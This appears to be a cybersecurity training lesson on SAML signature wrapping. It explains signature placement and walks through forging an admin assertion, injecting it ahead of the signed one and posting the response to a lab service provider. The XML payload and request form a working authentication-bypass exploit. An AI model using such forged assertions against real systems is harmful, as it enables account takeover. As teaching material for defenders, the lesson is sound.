Attacking Authentication Mechanisms
Signature Wrapping Attack
Signature Wrapping is a class of attack against SAML implementations that intends to create a discrepancy between the signature verification logic and the logic extracting the authentication information from the SAML assertion. This is achieved by injecting XML elements into the SAML response that do not invalidate the signature but potentially confuse the application, resulting in the application using the injected and unsigned authentication information instead of the signed authentication information.
For more details on the attack, check out this paper.
Theory
The SAML IdP can sign the entire SAML response or only the SAML Assertion. The element signed by a ds:Signature XML-node is referenced in the ds:Reference XML-node. For instance, let us consider the following SAML response:
<samlp:Response ID="_941d62a2c2213add334c8e31ea8c11e3d177eba142" [...] >
[...]
<saml:Assertion ID="_3227482244c22633671f7e3df3ee1a24a51a53c013" [...] >
[...]
<ds:Signature>
<ds:SignedInfo>
[...]
<ds:Reference URI="#_3227482244c22633671f7e3df3ee1a24a51a53c013">
[...]
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
[...]
</saml:Assertion>
</samlp:Response>
As we can see, the ds:Signature node contains a ds:Reference node containing a URI attribute with the value #_3227482244c22633671f7e3df3ee1a24a51a53c013. This indicates that the signature was computed over the XML node with the ID _3227482244c22633671f7e3df3ee1a24a51a53c013. As we can see, this is the ID of the SAML assertion, so, in this case, the signature does not protect the entire SAML response but only the SAML assertion.
Furthermore, there are different locations where the signature can be located:
-
envelopedsignatures are descendants of the signed resource -
envelopingsignatures are predecessors of the signed resource -
detachedsignatures are neither descendants nor predecessors of the signed resource
For instance, the above example is an enveloped signature, as the signature is a descendant of the saml:Assertion node, which it protects.
On the other hand, the following would be an example of an enveloping signature, as the signature is a predecessor of the saml:Assertion node, which it protects.
<samlp:Response ID="_941d62a2c2213add334c8e31ea8c11e3d177eba142" [...] >
[...]
<ds:Signature>
<ds:SignedInfo>
[...]
<ds:Reference URI="#_3227482244c22633671f7e3df3ee1a24a51a53c013">
[...]
</ds:Reference>
</ds:SignedInfo>
<saml:Assertion ID="_3227482244c22633671f7e3df3ee1a24a51a53c013" [...] >
[...]
</saml:Assertion>
[...]
</ds:Signature>
</samlp:Response>
Lastly, the following is an example of a detached signature:
<samlp:Response ID="_941d62a2c2213add334c8e31ea8c11e3d177eba142" [...] >
[...]
<saml:Assertion ID="_3227482244c22633671f7e3df3ee1a24a51a53c013" [...] >
[...]
</saml:Assertion>
<ds:Signature>
<ds:SignedInfo>
[...]
<ds:Reference URI="#_3227482244c22633671f7e3df3ee1a24a51a53c013">
[...]
</ds:Reference>
</ds:SignedInfo>
</ds:Signature>
[...]
</samlp:Response>
Due to these permutations, there are different kinds of signature wrapping attacks that can be applied depending on what XML node is signed and where the signature is located. For simplicity's sake, we will only focus on a single type of signature wrapping attack.
Consider a SAML response with an enveloped signature that protects only the SAML assertion. The structure looks like this:

Now, to create a discrepancy between the signature verification logic and the application logic, we can inject a new SAML assertion before the signed assertion, resulting in the following structure:

This does not invalidate the signature since the signed assertion remains unchanged and is still present in the SAML response. Furthermore, the SAML response is not protected by a signature, and thus, we can inject an additional assertion.
The signature wrapping attack is successful if the following holds:
- The signature verification logic searches the SAML response for the
ds:Signaturenode and the element referenced in theds:Referenceelement. The signature is then verified, and no additional checks are performed (such as a check of the number of SAML assertions present in the SAML response) - The application logic retrieves authentication information from the first SAML assertion it finds within the SAML response
Since the application logic does not explicitly retrieve the authentication information from the SAML assertion referenced in the ds:Reference node that is protected by the signature but rather retrieves the information from the first assertion in the SAML response, it will use our injected SAML assertion which is not protected by any signature and thus we can manipulate it arbitrarily.
Execution
To execute the signature wrapping attack discussed above, we first need to obtain the XML representation of the SAML response as described in the previous section. After verifying that the SAML response has the above structure, we can copy the saml:Assertion node. After removing the signature, we are left with the following data:
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_3227482244c22633671f7e3df3ee1a24a51a53c013" Version="2.0" IssueInstant="2024-03-31T09:57:18Z">
<saml:Issuer>
http://sso.htb/simplesaml/saml2/idp/metadata.php
</saml:Issuer>
<saml:Subject>
<saml:NameID SPNameQualifier="http://academy.htb/" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">
_ce163f0a42951fc08b82c0d5760d6a3d9088faec7b
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2024-03-31T10:02:18Z" Recipient="http://academy.htb/acs.php" InResponseTo="ONELOGIN_8fd53e48e8ff2da4bca7a64d5153610168e04af4"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-03-31T09:56:48Z" NotOnOrAfter="2024-03-31T10:02:18Z">
<saml:AudienceRestriction>
<saml:Audience>http://academy.htb/</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-03-31T09:57:18Z" SessionNotOnOrAfter="2024-03-31T17:57:18Z" SessionIndex="_9063d2a0ba9a6fdcf99fa79efccc10bd00539b5949">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="id" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">1337</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">htb-stdnt</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
Let us manipulate the assertion by changing the ID to _evilID and manipulating the attributes to enable us to authenticate as the admin user. We will change the user ID to 1, the username to admin, and the email to [email protected], resulting in the following manipulated assertion:
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_evilID" Version="2.0" IssueInstant="2024-03-31T09:57:18Z">
<saml:Issuer>
http://sso.htb/simplesaml/saml2/idp/metadata.php
</saml:Issuer>
<saml:Subject>
<saml:NameID SPNameQualifier="http://academy.htb/" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">
_ce163f0a42951fc08b82c0d5760d6a3d9088faec7b
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2024-03-31T10:02:18Z" Recipient="http://academy.htb/acs.php" InResponseTo="ONELOGIN_8fd53e48e8ff2da4bca7a64d5153610168e04af4"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-03-31T09:56:48Z" NotOnOrAfter="2024-03-31T10:02:18Z">
<saml:AudienceRestriction>
<saml:Audience>http://academy.htb/</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-03-31T09:57:18Z" SessionNotOnOrAfter="2024-03-31T17:57:18Z" SessionIndex="_9063d2a0ba9a6fdcf99fa79efccc10bd00539b5949">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="id" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">1</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
<saml:AttributeValue xsi:type="xs:string">[email protected]</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
We can inject our manipulated assertion into the SAML response to achieve the above structure. This results in the following SAML response. Note that the first assertion is our injected assertion, while the second assertion is the original unchanged and signed assertion:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_941d62a2c2213add334c8e31ea8c11e3d177eba142" Version="2.0" IssueInstant="2024-03-31T09:57:18Z" Destination="http://academy.htb/acs.php" InResponseTo="ONELOGIN_8fd53e48e8ff2da4bca7a64d5153610168e04af4">
<saml:Issuer>http://sso.htb/simplesaml/saml2/idp/metadata.php</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_evilID" Version="2.0" IssueInstant="2024-03-31T09:57:18Z">
[...]
</saml:Assertion>
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="_3227482244c22633671f7e3df3ee1a24a51a53c013" Version="2.0" IssueInstant="2024-03-31T09:57:18Z">
[...]
</saml:Assertion>
</samlp:Response>
The final step is Base64-encoding the SAML response and sending it to the service provider in the following request:
POST /acs.php HTTP/1.1
Host: academy.htb
Content-Length: 8801
Content-Type: application/x-www-form-urlencoded
SAMLResponse=PHNhbW[...]%2b&RelayState=%2Facs.php
This enables us to authenticate as the admin user:

VPN Servers
Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.
All VM instances associated with the old VPN Server will be terminated when switching to
a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.
PROTOCOL
/ 1 spawns left
Questions
Answer the question(s) below to complete this Section and earn cubes!
Click here to spawn the target system!
Target:
Click here to spawn the target system!
-
academy.htb -
sso.htb
Authenticate to with user "htb-stdnt" and password "AcademyStudent!"
+10 Streak pts
Table of Contents
Introduction to Authentication Mechanisms
Introduction to Authentication MechanismsJWTs
Introduction to JWTs Attacking Signature Verification Attacking the Signing Secret Algorithm Confusion Further JWT Attacks JWT Tools of the Trade & Vulnerability PreventionOAuth
Introduction to OAuth OAuth Lab Setup Stealing Access Tokens Improper CSRF Protection Additional OAuth Vulnerabilities OAuth Vulnerability PreventionSAML
Introduction to SAML SAML Lab Setup Signature Exclusion Attack Signature Wrapping Attack Additional SAML Vulnerabilities SAML Tools of the Trade & Vulnerability PreventionSkills Assessment
Skills AssessmentMy Workstation
OFFLINE
/ 1 spawns left